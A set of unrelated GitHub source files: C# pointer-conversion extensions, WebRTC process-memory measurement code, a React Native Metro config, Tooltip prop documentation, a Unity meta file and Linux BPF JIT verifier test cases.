namespace Squalr.Engine.Utils.Extensions { using System; /// <summary> /// Extension methods for converting and operating on <see cref="IntPtr"/> types. /// </summary> public static class IntPtrExtensions { /// <summary> /// Converts the given pointer to a <see cref="IntPtr"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The pointer converted to a <see cref="IntPtr"/>.</returns> public static unsafe IntPtr ToIntPtr(this UIntPtr intPtr) { return unchecked((IntPtr)intPtr.ToPointer()); } /// <summary> /// Converts the given pointer to a <see cref="UIntPtr"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The pointer converted to a <see cref="UIntPtr"/>.</returns> public static unsafe UIntPtr ToUIntPtr(this IntPtr intPtr) { return unchecked((UIntPtr)intPtr.ToPointer()); } /// <summary> /// Converts an <see cref="IntPtr"/> to an unsigned <see cref="UInt32"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The result of the conversion.</returns> public static UInt32 ToUInt32(this IntPtr intPtr) { return unchecked((UInt32)(Int32)intPtr); } /// <summary> /// Converts an <see cref="UIntPtr"/> to an unsigned <see cref="UInt32"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The result of the conversion.</returns> public static UInt32 ToUInt32(this UIntPtr intPtr) { return unchecked((UInt32)intPtr); } /// <summary> /// Converts an <see cref="IntPtr"/> to an unsigned <see cref="UInt64"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The result of the conversion.</returns> public static UInt64 ToUInt64(this IntPtr intPtr) { return unchecked((UInt64)(Int64)intPtr); } /// <summary> /// Converts an <see cref="UIntPtr"/> to an unsigned <see cref="UInt64"/>. /// </summary> /// <param name="intPtr">The pointer to convert.</param> /// <returns>The result of the conversion.</returns> public static UInt64 ToUInt64(this UIntPtr intPtr) { return unchecked((UInt64)intPtr); } } //// End class } //// End namespace
{ "pile_set_name": "Github" }
/* * Copyright (c) 2017 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "rtc_base/memory_usage.h" #if defined(WEBRTC_LINUX) #include <unistd.h> #include <cstdio> #elif defined(WEBRTC_MAC) #include <mach/mach.h> #elif defined(WEBRTC_WIN) // clang-format off // clang formating would change include order. #include <windows.h> #include <psapi.h> // must come after windows.h // clang-format on #endif #include "rtc_base/logging.h" namespace rtc { int64_t GetProcessResidentSizeBytes() { #if defined(WEBRTC_LINUX) FILE* file = fopen("/proc/self/statm", "r"); if (file == nullptr) { RTC_LOG(LS_ERROR) << "Failed to open /proc/self/statm"; return -1; } int result = -1; if (fscanf(file, "%*s%d", &result) != 1) { fclose(file); RTC_LOG(LS_ERROR) << "Failed to parse /proc/self/statm"; return -1; } fclose(file); return static_cast<int64_t>(result) * sysconf(_SC_PAGESIZE); #elif defined(WEBRTC_MAC) task_basic_info_64 info; mach_msg_type_number_t info_count = TASK_BASIC_INFO_64_COUNT; if (task_info(mach_task_self(), TASK_BASIC_INFO_64, reinterpret_cast<task_info_t>(&info), &info_count) != KERN_SUCCESS) { RTC_LOG_ERR(LS_ERROR) << "task_info() failed"; return -1; } return info.resident_size; #elif defined(WEBRTC_WIN) PROCESS_MEMORY_COUNTERS pmc; if (GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)) == 0) { RTC_LOG_ERR(LS_ERROR) << "GetProcessMemoryInfo() failed"; return -1; } return pmc.WorkingSetSize; #elif defined(WEBRTC_FUCHSIA) RTC_LOG_ERR(LS_ERROR) << "GetProcessResidentSizeBytes() not implemented"; return 0; #else // Not implemented yet. static_assert(false, "GetProcessVirtualMemoryUsageBytes() platform support not yet " "implemented."); #endif } } // namespace rtc
{ "pile_set_name": "Github" }
/** * Metro configuration for React Native * https://github.com/facebook/react-native * * @format */ const path = require("path"); const resolvers = { "react-navigation-shared-element": "..", "@react-navigation/core": "../node_modules", "@react-navigation/native": "../node_modules", "@react-navigation/stack": "../node_modules", "@react-navigation/routers": "../node_modules", "@react-navigation/bottom-tabs": "../node_modules", "@react-navigation/material-top-tabs": "../node_modules", }; module.exports = { transformer: { getTransformOptions: async () => ({ transform: { experimentalImportSupport: false, inlineRequires: false, }, }), assetPlugins: ["expo-asset/tools/hashAssetFiles"], }, // Add custom resolver and watch-folders because // Metro doesn't work well with the link to the library. resolver: { extraNodeModules: new Proxy( {}, { get: (_, name) => path.resolve(resolvers[name] || "./node_modules", name), } ), }, watchFolders: [path.resolve("./node_modules"), path.resolve("..")], };
{ "pile_set_name": "Github" }
/* @flow */ import Tooltip from '../../../../../library/Tooltip'; import { PLACEMENT } from '../../../../../library/Tooltip/constants'; import joinQuoted from '../../../utils/joinQuoted'; import type { ComponentPropDocs } from '../../../pages/ComponentDoc/types'; const propDocs: ComponentPropDocs = { children: { description: 'Trigger for the Tooltip', type: 'React$Node', required: true }, cursor: { description: 'Cursor applied when hovering the tooltip trigger; accepts any [valid CSS value](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)', type: 'string' }, content: { description: 'Content of the Tooltip', type: 'string', required: true }, defaultIsOpen: { description: 'Open the Tooltip upon initialization. Primarily for use with uncontrolled components.', type: 'boolean' }, disabled: { description: 'Disables the Tooltip', type: 'boolean' }, hasArrow: { description: 'Include an arrow on the Tooltip content pointing to the trigger', type: 'boolean', defaultValue: Tooltip.defaultProps.hasArrow.toString() }, id: { description: 'Id of the Tooltip', type: 'string' }, isOpen: { description: 'Determines whether the Tooltip is open. For use with controlled components.', type: 'boolean' }, modifiers: { description: 'Plugins that are used to alter behavior. See [PopperJS docs](https://popper.js.org/popper-documentation.html#modifiers) for options.', type: 'Object' }, onClose: { description: 'Called when Tooltip is closed', type: { name: 'function', value: '(event: SyntheticEvent<>) => void' } }, onOpen: { description: 'Called when Tooltip is opened', type: { name: 'function', value: '(event: SyntheticEvent<>) => void' } }, placement: { description: 'Placement of the Tooltip', type: { name: 'union', value: joinQuoted(Object.values(PLACEMENT)) }, defaultValue: `'${Tooltip.defaultProps.placement}'` }, positionFixed: { description: 'Apply fixed positioning to the content', type: 'boolean' }, usePortal: { description: 'Use a Portal to render the Tooltip to the body rather than as a sibling to the trigger.', type: 'boolean' } }; export default propDocs;
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 2489eb73bccf2204e91f9e9e82a43ffd MonoImporter: externalObjects: {} serializedVersion: 2 defaultReferences: [] executionOrder: 0 icon: {instanceID: 0} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
{ "jit: lsh, rsh, arsh by 1", .insns = { BPF_MOV64_IMM(BPF_REG_0, 1), BPF_MOV64_IMM(BPF_REG_1, 0xff), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 1), BPF_ALU32_IMM(BPF_LSH, BPF_REG_1, 1), BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0x3fc, 1), BPF_EXIT_INSN(), BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 1), BPF_ALU32_IMM(BPF_RSH, BPF_REG_1, 1), BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0xff, 1), BPF_EXIT_INSN(), BPF_ALU64_IMM(BPF_ARSH, BPF_REG_1, 1), BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0x7f, 1), BPF_EXIT_INSN(), BPF_MOV64_IMM(BPF_REG_0, 2), BPF_EXIT_INSN(), }, .result = ACCEPT, .retval = 2, }, { "jit: mov32 for ldimm64, 1", .insns = { BPF_MOV64_IMM(BPF_REG_0, 2), BPF_LD_IMM64(BPF_REG_1, 0xfeffffffffffffffULL), BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_LD_IMM64(BPF_REG_2, 0xfeffffffULL), BPF_JMP_REG(BPF_JEQ, BPF_REG_1, BPF_REG_2, 1), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), }, .result = ACCEPT, .retval = 2, }, { "jit: mov32 for ldimm64, 2", .insns = { BPF_MOV64_IMM(BPF_REG_0, 1), BPF_LD_IMM64(BPF_REG_1, 0x1ffffffffULL), BPF_LD_IMM64(BPF_REG_2, 0xffffffffULL), BPF_JMP_REG(BPF_JEQ, BPF_REG_1, BPF_REG_2, 1), BPF_MOV64_IMM(BPF_REG_0, 2), BPF_EXIT_INSN(), }, .result = ACCEPT, .retval = 2, }, { "jit: various mul tests", .insns = { BPF_LD_IMM64(BPF_REG_2, 0xeeff0d413122ULL), BPF_LD_IMM64(BPF_REG_0, 0xfefefeULL), BPF_LD_IMM64(BPF_REG_1, 0xefefefULL), BPF_ALU64_REG(BPF_MUL, BPF_REG_0, BPF_REG_1), BPF_JMP_REG(BPF_JEQ, BPF_REG_0, BPF_REG_2, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_LD_IMM64(BPF_REG_3, 0xfefefeULL), BPF_ALU64_REG(BPF_MUL, BPF_REG_3, BPF_REG_1), BPF_JMP_REG(BPF_JEQ, BPF_REG_3, BPF_REG_2, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_MOV32_REG(BPF_REG_2, BPF_REG_2), BPF_LD_IMM64(BPF_REG_0, 0xfefefeULL), BPF_ALU32_REG(BPF_MUL, BPF_REG_0, BPF_REG_1), BPF_JMP_REG(BPF_JEQ, BPF_REG_0, BPF_REG_2, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_LD_IMM64(BPF_REG_3, 0xfefefeULL), BPF_ALU32_REG(BPF_MUL, BPF_REG_3, BPF_REG_1), BPF_JMP_REG(BPF_JEQ, BPF_REG_3, BPF_REG_2, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_LD_IMM64(BPF_REG_0, 0x952a7bbcULL), BPF_LD_IMM64(BPF_REG_1, 0xfefefeULL), BPF_LD_IMM64(BPF_REG_2, 0xeeff0d413122ULL), BPF_ALU32_REG(BPF_MUL, BPF_REG_2, BPF_REG_1), BPF_JMP_REG(BPF_JEQ, BPF_REG_2, BPF_REG_0, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_MOV64_IMM(BPF_REG_0, 2), BPF_EXIT_INSN(), }, .result = ACCEPT, .retval = 2, }, { "jit: jsgt, jslt", .insns = { BPF_LD_IMM64(BPF_REG_1, 0x80000000ULL), BPF_LD_IMM64(BPF_REG_2, 0x0ULL), BPF_JMP_REG(BPF_JSGT, BPF_REG_1, BPF_REG_2, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_JMP_REG(BPF_JSLT, BPF_REG_2, BPF_REG_1, 2), BPF_MOV64_IMM(BPF_REG_0, 1), BPF_EXIT_INSN(), BPF_MOV64_IMM(BPF_REG_0, 2), BPF_EXIT_INSN(), }, .result = ACCEPT, .retval = 2, },
{ "pile_set_name": "Github" }